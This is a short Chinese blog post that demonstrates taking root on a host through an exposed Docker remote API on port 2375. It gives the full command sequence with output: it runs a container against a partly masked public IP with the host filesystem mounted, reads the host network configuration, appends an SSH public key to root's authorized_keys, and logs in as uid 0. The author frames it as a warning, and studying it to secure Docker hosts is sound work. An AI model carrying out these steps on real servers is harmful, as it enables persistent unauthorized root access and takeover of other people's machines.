Docker漏洞获取宿主机 root权限
2016-06-02 by dongnan
开始之前
上篇文章中介绍 docker
远程执行命令漏洞,在公网暴漏TCP 2375
端口,可以远程执行任意 docker
命令,
特别是利用容器获得宿主机 root
权限,这里重现一下这个漏洞希望大家能够重视这个问题。
举个栗子
思路是利用 docker
容器的 -v
挂载宿主机目录参数,获得宿主机 .ssh
目录,并添加 ssh key
实现登陆并控制宿主机。
创建容器并挂载宿主机根目录
# 执行命令
docker -H 115.29.xxx.xxx:2375 run -ti -v /:/tmp/root centos
cd /tmp/root/
# 执行命令
ls
# 返回结果
ROOT.war boot dev home initrd.img.old lib64 media opt root sbin sys usr vmlinuz
bin data etc initrd.img lib
宿主机的网络信息
# 执行命令
cat etc/network/interfaces
auto lo
iface lo inet loopback
auto eth1
iface eth1 inet static
address 115.29.xxx.xxx
netmask 255.255.252.0
up route add -net 0.0.0.0 netmask 0.0.0.0 gw 115.29.xxx.xxx dev eth1
auto eth0
iface eth0 inet static
address 10.161.xxx.xxx
netmask 255.255.240.0
up route add -net 172.16.0.0 netmask 255.240.0.0 gw 10.161.xxx.xxx dev eth0
up route add -net 100.64.0.0 netmask 255.192.0.0 gw 10.161.xxx.xxx dev eth0
up route add -net 10.0.0.0 netmask 255.0.0.0 gw 10.161.xxx.xxx dev eth0
为宿主机添加ssh keys
# 编辑文件
root/.ssh/authorized_keys
# 在文件尾部添加你的公钥
xxxx
测试登录宿主机
# 执行命令
ssh -v 115.29.xxx.xxx
# 操作系统
cat etc/issue
Ubuntu 14.04.3 LTS \n \l
# 用户权限
id
uid=0(root) gid=0(root) groups=0(root)